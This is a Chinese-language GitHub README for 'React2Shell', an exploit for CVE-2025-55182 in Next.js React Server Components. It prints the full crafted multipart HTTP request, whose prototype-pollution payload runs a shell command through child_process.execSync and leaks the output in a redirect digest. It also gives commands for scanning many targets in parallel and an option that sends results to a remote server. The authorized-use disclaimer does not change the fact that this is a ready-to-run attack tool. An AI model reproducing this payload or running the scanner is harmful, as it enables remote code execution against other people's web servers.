indra-031/React2Shell-Exploit-CVE-2025-55182

GitHub: indra-031/React2Shell-Exploit-CVE-2025-55182

针对 Next.js React Server Components 远程代码执行漏洞(CVE-2025-55182)的概念验证 exploit,通过特制 multipart 请求触发反序列化缺陷并提取命令输出。

Stars: 0 | Forks: 0

# 💀 React2Shell Exploit — CVE-2025-55182

``` ██████╗ ███████╗ █████╗ ██████╗████████╗██████╗ ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔══██╗██╔════╝██╔══██╗██╔════╝╚══██╔══╝╚════██╗██╔════╝██║ ██║██╔════╝██║ ██║ ██████╔╝█████╗ ███████║██║ ██║ █████╔╝███████╗███████║█████╗ ██║ ██║ ██╔══██╗██╔══╝ ██╔══██║██║ ██║ ██╔═══╝ ╚════██║██╔══██║██╔══╝ ██║ ██║ ██║ ██║███████╗██║ ██║╚██████╗ ██║ ███████╗███████║██║ ██║███████╗███████╗███████╗ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚══════╝╚══════╝╚═╝ ╚═╝╚══════╝╚══════╝╚══════╝ ``` ### 🔥 React Server Components 远程代码执行 ### CVE-2025-55182 **作者:INDRA**

# ⚠️ 免责声明 本项目仅供**教育目的、安全研究和授权的渗透测试使用**。 对于因使用此软件而造成的任何滥用或损害,作者**不承担任何责任**。 请仅对您拥有或已获得明确测试授权的系统使用此 exploit。 # 📖 描述 React2Shell 是针对 **CVE-2025-55182** 的概念验证(PoC)exploit,该漏洞影响 **Next.js** 中易受攻击的 **React Server Components (RSC)** 实现。 该 exploit 发送特制的 multipart 请求,滥用存在漏洞的反序列化流程,并通过应用程序的重定向 digest 响应提取命令输出。 成功执行后,exploit 会将执行的命令输出直接显示在终端中。 # ✨ 功能 - 🚀 单目标模式 - 🌍 批量扫描模式 - 🔄 自动检测 HTTP 和 HTTPS - ⚡ 多线程执行 - 📝 可选本地日志记录 - 🌐 可选远程日志服务器 - 🎯 简洁的输出 - 🛡 禁用 SSL 验证(适用于测试环境) - 📂 自动去重目标 # 📦 环境要求 Python 3.8+ 安装依赖项: ``` pip install requests urllib3 ``` # 📁 项目结构 ``` . ├── exploit.py └── README.md ``` # 🔥 受影响版本 ## React | 版本 | 状态 | |---------|--------| | 19.0 | ⚠ 存在漏洞 | | 19.1.0 | ⚠ 存在漏洞 | | 19.1.1 | ⚠ 存在漏洞 | | 19.2.0 | ⚠ 存在漏洞 | | 19.0.1 | ✅ 已修复 | | 19.1.2 | ✅ 已修复 | | 19.2.1 | ✅ 已修复 | ## Next.js ### 存在漏洞 - 14.3.0-canary.77 及更高版本 - 15.x - 16.x ### 已修复 - 15.0.5 - 15.1.9 - 15.2.6 - 16.0.7 # 📨 使用的 HTTP 请求 ``` POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ``` # 🚀 用法 ## 显示帮助 ``` python exploit.py -h ``` ## 扫描单个目标 ``` python exploit.py -u https://target.com ``` ## 扫描多个目标 targets.txt ``` target1.com target2.com target3.com ``` 运行 ``` python exploit.py -f targets.txt ``` ## 保存结果 ``` python exploit.py -u https://target.com -o results.txt ``` ## 将结果发送到远程日志服务器 ``` python exploit.py -u https://target.com -l https://your-log-server.com ``` ## 组合运行 ``` python exploit.py -f targets.txt -o results.txt -l https://your-log-server.com ``` # 📋 命令行选项 | 选项 | 描述 | |---------|-------------| | `-u` | 目标 URL | | `-f` | 包含目标域名的文件 | | `-o` | 在本地保存存在漏洞的目标 | | `-l` | 将结果发送到远程日志服务器 | | `-h` | 显示帮助 | # 🖥 示例输出 ``` 🚀 Loaded 42 targets (HTTP + HTTPS) 🔥 [VULNERABLE] https://target.com/ 💀 Command Output → uid=1000(node) gid=1000(node) groups=1000(node) ────────────────────────────────────────────── ``` # ⚙️ 工作原理 1. 读取目标 2. 自动生成 HTTP 和 HTTPS URL 3. 发送特制的 multipart 请求 4. 解析重定向 digest 5. 提取命令输出 6. 打印成功的 exploit 信息 7. 可选择在本地或远程存储结果 # 📌 注意事项 - 如果未提供协议,会自动测试 HTTP 和 HTTPS。 - 自动移除重复的目标。 - 使用 30 个并发线程。 - 忽略无效的 SSL 证书。 - 超时时间设置为 10 秒。 # ⚖️ 法律声明 未经许可对未经授权的系统使用此软件,可能会违反地方、国家或国际法律。 作者不对任何滥用行为负责。

### ⭐ 如果本项目您的研究有所帮助,请考虑点个 Star。 **祝您狩猎愉快 🕷️**

标签:CISA项目, Go语言工具, React, Syscalls, 概念验证, 编程工具, 远程代码执行, 逆向工具